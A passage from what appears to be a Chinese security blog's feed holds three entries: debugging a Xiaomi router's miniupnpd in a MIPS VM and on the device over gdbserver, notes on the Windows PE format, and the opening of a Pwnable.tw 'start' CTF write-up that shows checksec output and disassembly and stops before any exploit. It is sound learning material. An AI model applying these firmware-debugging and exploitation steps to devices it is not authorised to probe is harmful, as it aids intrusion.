<hr >
<h1 id= "0x04-在mips虚拟机中调试" > <a href= "#0x04-在mips虚拟机中调试" class= "headerlink" title= "0x04 在mips虚拟机中调试" > </a> 0x04 在mips虚拟机中调试</h1> <p > 现在通过上面的配置我得到了这样一台虚拟机, 并通过ssh连接上去。<br > <figure class= "highlight shell" > <table > <tr > <td class= "code" > <pre > <span class= "line" > root@debian-mipsel:/home/user/mi_wifi_r3_112# ifconfig</span> <br > <span class= "line" > eth1 Link encap:Ethernet HWaddr 00:16:3e:00:00:01</span> <br > <span class= "line" > inet addr:192.168.31.246 Bcast:192.168.31.255 Mask:255.255.255.0</span> <br > <span class= "line" > inet6 addr: fe80::216:3eff:fe00:1/64 Scope:Link</span> <br > <span class= "line" > UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1</span> <br > <span class= "line" > RX packets:89377 errors:75 dropped:360 overruns:0 frame:0</span> <br > <span class= "line" > TX packets:9114 errors:0 dropped:0 overruns:0 carrier:0</span> <br > <span class= "line" > collisions:0 txqueuelen:1000</span> <br > <span class= "line" > RX bytes:103978997 (99.1 MiB) TX bytes:924287 (902.6 KiB)</span> <br > <span class= "line" > Interrupt:10 Base address:0x1020</span> <br > <span class= "line" > </span> <br > <span class= "line" > lo Link encap:Local Loopback</span> <br > <span class= "line" > inet addr:127.0.0.1 Mask:255.0.0.0</span> <br > <span class= "line" > inet6 addr: ::1/128 Scope:Host</span> <br > <span class= "line" > UP LOOPBACK RUNNING MTU:16436 Metric:1</span> <br > <span class= "line" > RX packets:8 errors:0 dropped:0 overruns:0 frame:0</span> <br > <span class= "line" > TX packets:8 errors:0 dropped:0 overruns:0 carrier:0</span> <br > <span class= "line" > collisions:0 txqueuelen:0</span> <br > <span class= "line" > RX bytes:560 (560.0 B) TX bytes:560 (560.0 B)</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 已经把我的小米固件全部上传到这个虚拟机中<br > <figure class= "highlight shell" > <table > <tr > <td class= "code" > <pre > <span class= "line" > root@debian-mipsel:/home/user/mi_wifi_r3_112# ls</span> <br > <span class= "line" > bin data dev etc extdisks lib libnvram-faker.so mnt opt overlay proc qemu-mipsel-static readonly rom root sbin sys tmp userdisk usr var www</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 和用户模式一样, 还是使用chroot, 因为目标二进制是和固件的库链接的, 很可能不能跟Debian的共享库一起工作。<br > <figure class= "highlight shell" > <table > <tr > <td class= "code" > <pre > <span class= "line" > root@debian-mipsel:/home/user/mi_wifi_r3_112# chroot . ./usr/sbin/miniupnpd</span> <br > <span class= "line" > Usage:</span> <br > <span class= "line" > ./usr/sbin/miniupnpd [-f config_file] [-i ext_ifname] [-o ext_ip]</span> <br > <span class= "line" > [-a listening_ip] [-p port] [-d] [-U] [-S] [-N]</span> <br > <span class= "line" > [-u uuid] [-s serial] [-m model_number]</span> <br > <span class= "line" > [-t notify_interval] [-P pid_filename]</span> <br > <span class= "line" > [-B down up] [-w url] [-r clean_ruleset_interval]</span> <br > <span class= "line" > [-A "permission rule"] [-b BOOTID]</span> <br > <span class= "line" > </span> <br > <span class= "line" > Notes:</span> <br > <span class= "line" > There can be one or several listening_ips.</span> <br > <span class= "line" > Notify interval is in seconds. Default is 30 seconds.</span> <br > <span class= "line" > Default pid file is '/var/run/miniupnpd.pid'.</span> <br > <span class= "line" > Default config file is '/etc/miniupnpd.conf'.</span> <br > <span class= "line" > With -d miniupnpd will run as a standard program.</span> <br > <span class= "line" > -S sets "secure" mode : clients can only add mappings to their own ip</span> <br > <span class= "line" > -U causes miniupnpd to report system uptime instead of daemon uptime.</span> <br > <span class= "line" > -N enables NAT-PMP functionality.</span> <br > <span class= "line" > -B sets bitrates reported by daemon in bits per second.</span> <br > <span class= "line" > -w sets the presentation url. Default is http address on port 80</span> <br > <span class= "line" > -A use following syntax for permission rules :</span> <br > <span class= "line" > (allow|deny) (external port range) ip/mask (internal port range)</span> <br > <span class= "line" > examples :</span> <br > <span class= "line" > "allow 1024-65535 192.168.1.0/24 1024-65535"</span> <br > <span class= "line" > "deny 0-65535 0.0.0.0/0 0-65535"</span> <br > <span class= "line" > -b sets the value of BOOTID.UPNP.ORG SSDP header</span> <br > <span class= "line" > -h prints this help and quits.</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 直接运行起来, 还是只打印出usage, 这里我注意到之前忽视的地方<code > Default config file is ' /etc/miniupnpd.conf' .</code> ,所以我不再使用<code > -f</code> 参数来指定,而是把配置文件放在默认目录下,在小米路由器里,<code > ext_ifname</code> 是外部ip, <code > listening_ip</code> 是内部ip。但是我这里还没有开启两个, 所以都赋值为一张网卡。<br > <figure class= "highlight shell" > <table > <tr > <td class= "code" > <pre > <span class= "line" > ext_ifname=eth1</span> <br > <span class= "line" > listening_ip=eth1</span> <br > <span class= "line" > port=5351</span> <br > <span class= "line" > enable_natpmp=yes</span> <br > <span class= "line" > enable_upnp=yes</span> <br > <span class= "line" > secure_mode=no</span> <br > <span class= "line" > system_uptime=yes</span> <br > <span class= "line" > lease_file=/tmp/upnp.leases</span> <br > <span class= "line" > bitrate_down=8388608</span> <br > <span class= "line" > bitrate_up=4194304</span> <br > <span class= "line" > uuid=e1f3a0ec-d9d4-4317-a14b-130cdd18d092</span> <br > <span class= "line" > allow 1024-65535 0.0.0.0/0 1024-65535</span> <br > <span class= "line" > deny 0-65535 0.0.0.0/0 0-65535</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 在这个配置下, 运行miniupnp还是被告知<code > daemon(): No such file or directory</code> <br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > root@debian-mipsel:/home/user/mi_wifi_r3_112# chroot . ./usr/sbin/miniupnpd</span> <br > <span class= "line" > root@debian-mipsel:/home/user/mi_wifi_r3_112# daemon(): No such file or directory</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 我起初猜测是因为缺乏<code > NVRAM</code> </p>
<blockquote >
<p > 在运行系统服务, 如Web服务器或UPnP守护进程时, 缺乏NVRAM。非易失性RAM通常是包含配置参数的设备快速存储器的一个分区。当一个守护进程启动时, 它通常会尝试查询NVRAM, 获取其运行时配置信息。有时一个守护进程会查询NVRAM的几十甚至上百个参数。</p>
</blockquote>
<p > 于是我运行二进制程序时, 使用LD_PRELOAD对nvram-faker库进行预加载。它会拦截通常由libnvram.so提供的<code > nvram_get()</code> 调用。nvram-faker会查询你提供的一个INI风格的配置文件, 而不是试图查询NVRAM。<br > 这里有一个链接:<a href= "https://github.com/zcutlip/nvram-faker" target= "_blank" rel= "noopener" > https://github.com/zcutlip/nvram-faker</a> <br > <figure class= "highlight shell" > <table > <tr > <td class= "code" > <pre > <span class= "line" > root@debian-mipsel:/home/user/mi_wifi_r3_112# chroot . /bin/sh -c "LD_PRELOAD=/libnvram-faker.so /usr/sbin/miniupnpd"</span> <br > <span class= "line" > root@debian-mipsel:/home/user/mi_wifi_r3_112# daemon(): No such file or directory</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 问题依然存在, daemon是在miniupnpd中常出现的词, 猜测, 会不会某些函数没有实现? 这部分会比较麻烦, 需要反汇编。<br > 但是, 我们不是可以拿到路由器的shell吗! 干嘛还要用qemu模拟再调试, 直接上真机! </p>
<hr >
<h1 id= "0x05-设备上调试程序" > <a href= "#0x05-设备上调试程序" class= "headerlink" title= "0x05 设备上调试程序" > </a> 0x05 设备上调试程序</h1> <blockquote >
<p > 1、有shell权限<br > 2、有静态编译的gdbserver或者gdb</p>
</blockquote>
<p > 只要满足上面两个条件,我们就可以通过在路由器上运行<code > gdbserver_mipsle --attach 0.0.0.0:port PID</code> 以及 在你的电脑上使用 <strong > gdb-multiarch</strong> 进行调试(先指定架构, 然后使用remote功能)轻松地调试设备上地mips程序。<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > pwndbg> set architecture mips (但大多数情况下这一步可以省略, 似乎 pwndbg 能自动识别架构)</span> <br > <span class= "line" > pwndbg> target remote localhost:1234</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 能根据固件中的bin得知这是一个小端mips指令集的设备, gdbserver也不用自己编译, 直接下载编译好的: <a href= "https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver" target= "_blank" rel= "noopener" > https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver</a> <br > 把gdbserver.mipsbe通过tftp上传到路由器的/tmp目录下, 然后找到目标程序PID: <br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > root@XiaoQiang:/# ps |grep miniupnp</span> <br > <span class= "line" > 12517 root 1772 S grep miniupnp</span> <br > <span class= "line" > 28284 root 1496 S /usr/sbin/miniupnpd -f /var/etc/miniupnpd.conf</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > <strong > gdbserver attach</strong> 这个进程,就可以通过<strong > gdb</strong> 或者<strong > IDA</strong> 远程调试这个程序</p>
]]></content>
2019-07-16 09:15:34 +00:00
<categories >
2021-04-10 20:14:09 +00:00
<category > IOT</category>
2019-07-16 09:15:34 +00:00
</categories>
2021-04-10 20:14:09 +00:00
<tags >
<tag > 小米</tag>
<tag > 路由器</tag>
<tag > 调试</tag>
</tags>
</entry>
<entry >
<title > PE文件格式学习</title>
<url > /2019/05/13/PE-file/</url>
<content > <![CDATA[<h1 id="PE文件格式"> <a href= "#PE文件格式" class= "headerlink" title= "PE文件格式" > </a> PE文件格式</h1> <p > PE(Portable Executable)是Win32平台下可执行文件遵守的数据格式。常见的可执行文件( 如exe和dll) 都是典型的PE文件。PE文件格式其实是一种数据结构, 包含Windows操作系统加载管理可执行代码时所必要的信息, 如二进制机器代码、字符串、菜单、图标、位图、字体等。PE文件格式规定了所有这些信息在可执行文件中如何组织。<strong > 在程序被执行时, 操作系统会按照PE文件格式的约定去相应地方准确定位各种类型的资源, 并分别装入内存的不同区域。</strong> <br > PE文件格式把可执行文件分成若干个数据节( section) , 不同资源被存放在不同的节中, 一个典型的PE文件中包含的节如下: </p>
<ul >
<li > <code > .text</code> 由编译器产生,存放着二进制的机器代码,也是反汇编和调试的对象</li>
<li > <code > .data</code> 初始化的数据块,如宏定义、全局变量、静态变量等</li>
<li > <code > .idata</code> 可执行文件所使用的动态链接库等外来函数与文件信息</li>
<li > <code > .rsrc</code> 存放程序的资源,如图标、菜单等<br > 除此之外,还有可能有<code > .reloc</code> ,<code > .edata</code> ,<code > .tls</code> ,<code > .rdata</code> </li>
</ul>
<h1 id= "0x01-PE文件与虚拟内存之间的映射" > <a href= "#0x01-PE文件与虚拟内存之间的映射" class= "headerlink" title= "0x01 PE文件与虚拟内存之间的映射" > </a> 0x01 PE文件与虚拟内存之间的映射</h1> <h2 id= "虚拟内存" > <a href= "#虚拟内存" class= "headerlink" title= "虚拟内存" > </a> 虚拟内存</h2> <p > Windows的内存可以被分为两个层面: 物理内存和虚拟内存。其中, 物理内存比较复杂, 需要进入Windows内核级别ring0才能看到。通常, 在用户模式下, 我们用调试器看到的都是虚拟内存。<br > 如果我们把这看成银行,那么就很好理解了。</p>
<ul >
<li > 进程相当于储户</li>
<li > 内存管理器相当于银行</li>
<li > 物理内存相当于钞票</li>
<li > 虚拟内存相当于存款</li>
</ul>
<h2 id= "映射关系" > <a href= "#映射关系" class= "headerlink" title= "映射关系" > </a> 映射关系</h2> <ol >
<li > 在漏洞挖掘中,经常需要的两种操作:</li>
</ol>
<ul >
<li > 静态反编译工具看到的是PE文件中某条指令的位置是相对与磁盘而言的, 就是所谓的 <strong > 文件偏移</strong> ,我们可能还需要知道这条指令在内存中的位置,这个位置就是虚拟内存地址(VA)</li>
<li > 反过来,在调试时看到的某条指令的地址是 <strong > 虚拟内存地址( VA) </strong> , 也就是我们需要回到PE文件中找到这条指令对应的机器码</li>
</ul>
<ol start= "2" >
<li > 几个重要概念</li>
</ol>
<ul >
<li > 文件偏移地址(File Offset): <br > 数据在PE文件中的地址叫做文件偏移地址,可以理解为就是文件地址。这是文件在磁盘上存放相对与文件开头的偏移。</li>
<li > 装载基址(Image Base):<br > PE装入内存时的基地址。默认情况下, EXE文件在内存中对应的基地址是<code > 0x00400000</code> ,DLL文件是<code > 0x10000000</code> 。这些位置可能通过编译选项修改</li>
<li > 虚拟内存地址(Virtual Address,VA ): <br > PE文件中的指令装入内存后的地址。</li>
<li > 相对虚拟地址(Relative Virtual Address, RVA): <br > 相对虚拟地址是内存地址相对于映射基址的偏移量。</li>
</ul>
<ol start= "3" >
<li > <p > 虚拟内存地址,装载基址,相对虚拟内存地址三者之间的关系:</p>
<blockquote >
<p > VA = Image Base + RVA</p>
</blockquote>
</li>
<li > <p > 文件偏移地址与相对虚拟地址:<br > 文件偏移地址是相对于文件开始处0字节的偏移,RVA(相对虚拟地址)则是相对于装载基址0x00400000处的偏移.由于操作系统在装载时“基本”上保持PE中的数据结构, 所以文件偏移地址和RVA有很大的一致性。( 不是全部相同) <br > PE文件中的数据按照磁盘数据标准存放, 以0x200为基本单位进行组织。当一个数据节(stction)不足0x200字节时, 不足的地方将用0x00填充, 当一个数据节超过0x200时, 下一个0x200块将分配给这个节使用。所以PE数据节大小永远是0x200的整数倍<br > 当代码装入后, 将按照内存数据标准存放, 并以0x1000字节为基本的存储单位进行组织, 不足和超过的情况类似上面。因此, 内存中的节总是0x1000的整倍数。<br > 由于内存中数据节相对于装载基址的偏移量和文件中数据节的偏移量有上述差异,所以进行文件偏移到内存地址之间的换算时,还要看所转换的地址位于第几个节内:</p>
<blockquote >
<p > 文件偏移地址 = 虚拟内存地址(VA) - 装载基址(Image Base) - 节偏移<br > = RVA - 节偏移</p>
</blockquote>
</li>
<li > <p > 工具<br > <a href= "https://tools.pediy.com/win/PE_tools/Lordpe/LPE-DLX.rar" target= "_blank" rel= "noopener" > LordPE DLX增强版(2017..6.08)</a> <br > <a href= "https://tools.pediy.com/win/Resource/Resource%20Hacker/reshhack3.4.zip" target= "_blank" rel= "noopener" > Resource Hacker 3.4.0</a> <br > <a href= "https://download.cnet.com/PE-Viewer/3000-2352_4-10966763.html" target= "_blank" rel= "noopener" > PE viewer</a> </p>
</li>
</ol>
<h1 id= "0x02-链接库与函数" > <a href= "#0x02-链接库与函数" class= "headerlink" title= "0x02 链接库与函数" > </a> 0x02 链接库与函数</h1> <p > 对于一个可执行程序,可以收集到最有用的信息就是导入表。导入函数是程序所使用的但存储在另一程序中的那些函数。通过导入函数连接,使得不必重新在多个程序中重复实现特定功能。</p>
<ol >
<li > 静态链接、运行时链接与动态链接。<br > 静态链接:当一个库被静态链接到可执行程序时,所有这个库中的代码都会被复制到可执行程序中,这使得可执行程序增大许多,而且在分析代码时,很难区分静态链接的代码和自身代码。<br > 运行时链接:在恶意代码中常用(加壳或混淆时),只有当需要使用函数时,才链接到库。<br > 动态链接:当代码被动态链接时,宿主操作系统会在程序装载时搜索所需代码库,如果程序调用了被链接的库函数,这个函数会在代码库中执行。<br > LoadLibrary和GetProcAddress允许一个程序访问系统上任何库中的函数, 因此当它们被使用时, 无法静态分析出程序会链接哪些函数。<br > PE文件头存储了每个将被装载的库文件, 以及每个会被程序使用的函数信息。</li>
<li > 工具Dependency Walker<br > <a href= "http://www.dependencywalker.com/" target= "_blank" rel= "noopener" > Dependency Walker</a> </li>
<li > <p > 常见dll程序<br > <strong > <em > kernel32.dll</em> </strong> <br > kernel32.dll是Windows 9x/Me中非常重要的32位动态链接库文件, 属于内核级文件。它控制着系统的内存管理、数据的输入输出操作和中断处理, 当Windows启动时, kernel32.dll就驻留在内存中特定的写保护区域, 使别的程序无法占用这个内存区域。<br > <strong > <em > user32.dll</em> </strong> <br > user32.dll是Windows用户界面相关应用程序接口, 用于包括Windows处理, 基本用户界面等特性, 如创建窗口和发送消息。<br > 在早期32-bit 版本的Windows中, 用户控件是在ComCtl32中实现的, 但是一些控件的显示功能是在User32.dll中实现的。例如在一个窗口中非客户区域( 边框和菜单) 的绘制就是由User32.dll来完成的。User32.dll 是操作系统的一个核心控件, 它和操作系统是紧密联系在一起的。也就是说, 不同版本的Windows中User32.dll 是不同。因此, 应用程序在不同版本的Windows中运行的时候, 由于User32.dll的不同, 会导致应用程序的界面通常会有微小的不同。<br > <strong > <em > gdi32.dll</em> </strong> <br > gdi32.dll是Windows GDI图形用户界面相关程序, 包含的函数用来绘制图像和显示文字<br > <strong > <em > comdlg32.dll</em> </strong> <br > comdlg32.dll是Windows应用程序公用对话框模块, 用于例如打开文件对话框。<br > <strong > <em > advapi32.dll</em> </strong> <br > advapi32.dll是一个高级API应用程序接口服务库的一部分, 包含的函数与对象的安全性, 注册表的操控以及事件日志有关。<br > <strong > <em > shell32.dll</em> </strong> <br > shell32.dll是Windows的32位外壳动态链接库文件, 用于打开网页和文件, 建立文件时的默认文件名的设置等大量功能。<br > 严格来讲, 它只是代码的合集, 真正执行这些功能的是操作系统的相关程序, dll文件只是根据设置调用这些程序的相关功能罢了。<br > <strong > <em > ole32.dll</em> </strong> <br > ole32.dll是对象链接和嵌入相关模块。<br > <strong > <em > odbc32.dll</em> </strong> <br > odbc32.dll是ODBC数据库查询相关文件。</p>
</li>
<li > <p > 导入函数与导出函数<br > 导入函数和导出函数都是用来和其他程序和代码进行交互时使用的, 通常一个DLL会实现一个或多个功能函数, 然后将他们导出, 使得别的程序可以导入并使用这些函数, 导出函数在DLL文件中是最常见的。</p>
</li>
</ol>
<h1 id= "0x03-PE文件的结构" > <a href= "#0x03-PE文件的结构" class= "headerlink" title= "0x03 PE文件的结构" > </a> 0x03 PE文件的结构</h1> <table >
<thead >
<tr >
<th > PE文件结构</th>
</tr>
</thead>
<tbody >
<tr >
<td > MZ文件头</td>
</tr>
<tr >
<td > DOS插桩程序</td>
</tr>
<tr >
<td > 字串“PE\0\0”(4字节)</td>
</tr>
<tr >
<td > 映像文件头</td>
</tr>
<tr >
<td > 可选映像头</td>
</tr>
<tr >
<td > Section table(节表)</td>
</tr>
<tr >
<td > Section 1</td>
</tr>
<tr >
<td > Section 2</td>
</tr>
<tr >
<td > …..</td>
</tr>
</tbody>
</table>
<ol >
<li > DOS程序头(4H字节)<br > 包括MZ文件头和DOS插桩程序。MZ文件头开始两个字节为4D5A。</li>
<li > NT映像头(14H字节)<br > 存放PE整个文件信息分布的重要字段。包括: </li>
</ol>
<ul >
<li > 签名( signature) : 值为’ 50450000h’ , 字串为’ PE\0\0’ , 可以在DOS程序头的3CH处的四个字节找到该字串的偏移位置</li>
<li > 映像文件头( FileHeader) : 是映像头的主要部分, 包含PE文件最基本的信息。结构体为: <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > typedef struct _IMAGE_FILE_HEADER { </span> <br > <span class= "line" > WORD Machine; //运行平台</span> <br > <span class= "line" > WORD NumberOfSections; //节(section)数目 </span> <br > <span class= "line" > DWORD TimeDateStamp; //时间日期标记 </span> <br > <span class= "line" > DWORD PointerToSymbolTable; //COFF符号指针, 这是程序调试信息 </span> <br > <span class= "line" > DWORD NumberOfSymbols; //符号数 </span> <br > <span class= "line" > WORD SizeOfOptionalHeader; //可选部首长度, 是IMAGE_OPTIONAL_HEADER的长度 </span> <br > <span class= "line" > WORD Characteristics; //文件属性</span> <br > <span class= "line" > } </span> <br > </pre> </td> </tr> </table> </figure>
</li>
</ul>
<ol start= "3" >
<li > <p > 可选映像头(OptionalHeader)<br > 包含PE文件的逻辑分布信息, 共有13个域。具体结构为: </p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > typedef struct _IMAGE_OPTIONAL_HEADER { </span> <br > <span class= "line" > WORD Magic; //代表的是文件的格式</span> <br > <span class= "line" > BYTE MajorLinkerVersion;</span> <br > <span class= "line" > BYTE MinorLinkerVersion;</span> <br > <span class= "line" > DWORD SizeOfCode;</span> <br > <span class= "line" > DWORD SizeOfInitializedData;</span> <br > <span class= "line" > DWORD SizeOfUninitializedData;</span> <br > <span class= "line" > DWORD AddressOfEntryPoint; //保存着EP的RVA。也就是最先执行代码起始地址。</span> <br > <span class= "line" > DWORD BaseOfCode; //表示代码段起始RVA先看他的值, 是1000</span> <br > <span class= "line" > DWORD BaseOfData;</span> <br > <span class= "line" > DWORD ImageBase; //默认装入基地址</span> <br > <span class= "line" > DWORD SectionAlignment; //节区在内存中的最下单位</span> <br > <span class= "line" > DWORD FileAlignment; //节区在磁盘中的最小单位</span> <br > <span class= "line" > WORD MajorOperatingSystemVersion;</span> <br > <span class= "line" > WORD MinorOperatingSystemVersion;</span> <br > <span class= "line" > WORD MajorImageVersion;</span> <br > <span class= "line" > WORD MinorImageVersion;</span> <br > <span class= "line" > WORD MajorSubsystemVersion;</span> <br > <span class= "line" > WORD MinorSubsystemVersion;</span> <br > <span class= "line" > DWORD Win32VersionValue;</span> <br > <span class= "line" > DWORD SizeOfImage; //装入内存后的总尺寸</span> <br > <span class= "line" > DWORD SizeOfHeaders; //头尺寸=NT映像头+节表</span> <br > <span class= "line" > DWORD CheckSum;</span> <br > <span class= "line" > WORD Subsystem;</span> <br > <span class= "line" > WORD DllCharacteristics;</span> <br > <span class= "line" > DWORD SizeOfStackReserve;</span> <br > <span class= "line" > DWORD SizeOfStackCommit;</span> <br > <span class= "line" > DWORD SizeOfHeapReserve;</span> <br > <span class= "line" > DWORD SizeOfHeapCommit;</span> <br > <span class= "line" > DWORD LoaderFlags;</span> <br > <span class= "line" > DWORD NumberOfRvaAndSizes;</span> <br > <span class= "line" > IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];</span> <br > <span class= "line" > } IMAGE_OPTIONAL_HEADER, *PIMAGE_OPTIONAL_HEADER;</span> <br > </pre> </td> </tr> </table> </figure>
</li>
<li > <p > 节表<br > 实际上是一个结构数组, 其中每个结构包含了一个节的具体信息( 每个结构占用28H字节) </p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > typedef struct _IMAGE_SECTION_HEADER { </span> <br > <span class= "line" > BYTE Name[IMAGE_SIZEOF_SHORT_NAME];</span> <br > <span class= "line" > union { </span> <br > <span class= "line" > DWORD PhysicalAddress;</span> <br > <span class= "line" > DWORD VirtualSize; //该节的实际字节数</span> <br > <span class= "line" > } Misc;</span> <br > <span class= "line" > DWORD VirtualAddress; //本节的相对虚拟地址</span> <br > <span class= "line" > DWORD SizeOfRawData; //对齐后的节尺寸</span> <br > <span class= "line" > DWORD PointerToRawData; //本节在文件中的地址</span> <br > <span class= "line" > DWORD PointerToRelocations; //本节调入内存后的存放位置</span> <br > <span class= "line" > DWORD PointerToLinenumbers;</span> <br > <span class= "line" > WORD NumberOfRelocations;</span> <br > <span class= "line" > WORD NumberOfLinenumbers;</span> <br > <span class= "line" > DWORD Characteristics; //节的属性</span> <br > <span class= "line" > } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;</span> <br > </pre> </td> </tr> </table> </figure>
</li>
<li > <p > 节</p>
</li>
</ol>
<ul >
<li > <p > 引入函数节(.rdata/.idata)</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > typedef struct _IMAGE_IMPORT_DESCRIPTOR { </span> <br > <span class= "line" > union { </span> <br > <span class= "line" > DWORD Characteristics; // 0 for terminating null import descriptor</span> <br > <span class= "line" > DWORD OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA)</span> <br > <span class= "line" > } ;</span> <br > <span class= "line" > DWORD TimeDateStamp; // 0 if not bound,</span> <br > <span class= "line" > // -1 if bound, and real datetime stamp</span> <br > <span class= "line" > // in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)</span> <br > <span class= "line" > // O.W. date/time stamp of DLL bound to (Old BIND)</span> <br > <span class= "line" > </span> <br > <span class= "line" > DWORD ForwarderChain; // -1 if no forwarders</span> <br > <span class= "line" > DWORD Name;</span> <br > <span class= "line" > DWORD FirstThunk; // RVA to IAT (if bound this IAT has actual addresses)</span> <br > <span class= "line" > } IMAGE_IMPORT_DESCRIPTOR;</span> <br > </pre> </td> </tr> </table> </figure>
</li>
<li > <p > 一个exe程序加载dll的IMAGE_IMPORT_DESCRIPTOR<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1556519313/pwn/1506049226526485.jpg" a l t > </p>
</li>
</ul>
]]></content>
2021-04-10 12:03:10 +00:00
<categories >
2021-04-10 20:14:09 +00:00
<category > 二进制</category>
2021-04-10 12:03:10 +00:00
</categories>
2021-04-10 20:14:09 +00:00
<tags >
<tag > 文件格式</tag>
<tag > PE</tag>
</tags>
</entry>
<entry >
<title > 【Pwnable.tw】start</title>
<url > /2019/10/25/PWNtw-start/</url>
<content > <![CDATA[<h1 id="Pwnable-tw-start"> <a href= "#Pwnable-tw-start" class= "headerlink" title= "Pwnable.tw start" > </a> <a href= "http://pwnable.tw/" target= "_blank" rel= "noopener" > Pwnable.tw</a> start</h1> <p > 程序链接:<a href= "https://pwnable.tw/static/chall/start" target= "_blank" rel= "noopener" > https://pwnable.tw/static/chall/start</a> </p>
<h2 id= "0x01-检查保护情况" > <a href= "#0x01-检查保护情况" class= "headerlink" title= "0x01 检查保护情况" > </a> 0x01 检查保护情况</h2> <p > 不得不说,<a href= "http://www.trapkit.de/tools/checksec.html" target= "_blank" rel= "noopener" > checksec</a> 这个工作看似简单, 用用现成工具就行, 但这决定了我们之后漏洞利用的方式, 是否栈代码执行, 还是ROP。<br > 最好多用几个工具进行检查, 兼听则明。比如这个程序用peda检查就开启了NX, 但实际上并没有。所以理想的话, 把shellcode布置到栈上就可以了! </p>
<figure class= "highlight shell" > <table > <tr > <td class= "code" > <pre > <span class= "line" > <span class= "meta" > $</span> checksec ./start</span> <br > <span class= "line" > Arch: i386-32-little</span> <br > <span class= "line" > RELRO: No RELRO</span> <br > <span class= "line" > Stack: No canary found</span> <br > <span class= "line" > NX: NX disabled</span> <br > <span class= "line" > PIE: No PIE (0x8048000)</span> <br > </pre> </td> </tr> </table> </figure>
<p > <strong > RELRO(Relocation Read Only):尽量使存储区域只读</strong> </p>
<h2 id= "0x02-漏洞分析" > <a href= "#0x02-漏洞分析" class= "headerlink" title= "0x02 漏洞分析" > </a> 0x02 漏洞分析</h2> <p > 用IDA逆向分析, 汇编代码</p>
<figure class= "highlight c" > <table > <tr > <td class= "code" > <pre > <span class= "line" > 保存现场环境esp、_exit</span> <br > <span class= "line" > .text:<span class= "number" > 08048060</span> push esp</span> <br > <span class= "line" > .text:<span class= "number" > 08048061</span> push offset _exit</span> <br > <span class= "line" > </span> <br > <span class= "line" > 清空寄存器EAX EBX ECX EDX</span> <br > <span class= "line" > .text:<span class= "number" > 08048066</span> xor eax, eax</span> <br > <span class= "line" > .text:<span class= "number" > 08048068</span> xor ebx, ebx</span> <br > <span class= "line" > .text:<span class= "number" > 0804806</span> A xor ecx, ecx</span> <br > <span class= "line" > .text:<span class= "number" > 0804806</span> C xor edx, edx</span> <br > <span class= "line" > </span> <br > <span class= "line" > 向栈上压入参数</span> <br > <span class= "line" > .text:<span class= "number" > 0804806</span> E push <span class= "number" > 3</span> A465443h CTF:</span> <br > <span class= "line" > .text:<span class= "number" > 08048073</span> push <span class= "number" > 20656874</span> h the</span> <br > <span class= "line" > .text:<span class= "number" > 08048078</span> push <span class= "number" > 20747261</span> h art</span> <br > <span class= "line" > .text:<span class= "number" > 0804807</span> D push <span class= "number" > 74732073</span> h s st</span> <br > <span class= "line" > .text:<span class= "number" > 08048082</span> push <span class= "number" > 2774654</span> Ch Let’ </span> <br > <span class= "line" > </span> <br > <span class= "line" > 系统调用<span class= "number" > 80</span> h</span> <br > <span class= "line" > .text:<span class= "number" > 08048087</span> mov ecx, esp ; addr</span> <br > <span class= "line" > .text:<span class= "number" > 08048089</span> mov dl, <span class= "number" > 14</span> h ; len</span> <br > <span class= "line" > .text:<span class= "number" > 0804808B</span> mov bl, <span class= "number" > 1</span> ; fd</span> <br > <span class= "line" > .text:<span class= "number" > 0804808</span> D mov al, <span class= "number" > 4</span> </span> <br > <span class= "line" > .text:<span class= "number" > 0804808F</span> <span class= "keyword" > int</span> <span class= "number" > 80</span> h ; LINUX - sys_write</span> <br > <span class= "line" > </span> <br > <span class= "line" > 系统调用<span class= "number" > 80</span> h</span> <br > <span class= "line" > .text:<span class= "number" > 08048091</span> xor ebx, ebx</span> <br > <span class= "line" > .text:<span class= "number" > 08048093</span> mov dl, <span class= "number" > 3</span> Ch</span> <br > <span class= "line" > .text:<span class= "number" > 08048095</span> mov al, <span class= "number" > 3</span> </span> <br > <span class= "line" > .text:<span class= "number" > 08048097</span> <span class= "keyword" > int</span> <span class= "number" > 80</span> h ; LINUX -</span> <br > <span class= "line" > </span> <br > <span class= "line" > 恢复栈平衡, 返回到_exit</span> <br > <span class= "line" > .text:<span class= "number" > 08048099</span> add esp, <span class= "number" > 14</span> h</span> <br > <span class= "line" > .text:<span class= "number" > 0804809</span> C retn</span> <br > <span class= "line" > .text:<span class= "number" > 0804809</span> C _start endp ; sp-analysis failed</span> <br > </pre> </td> </tr> </table> </figure>
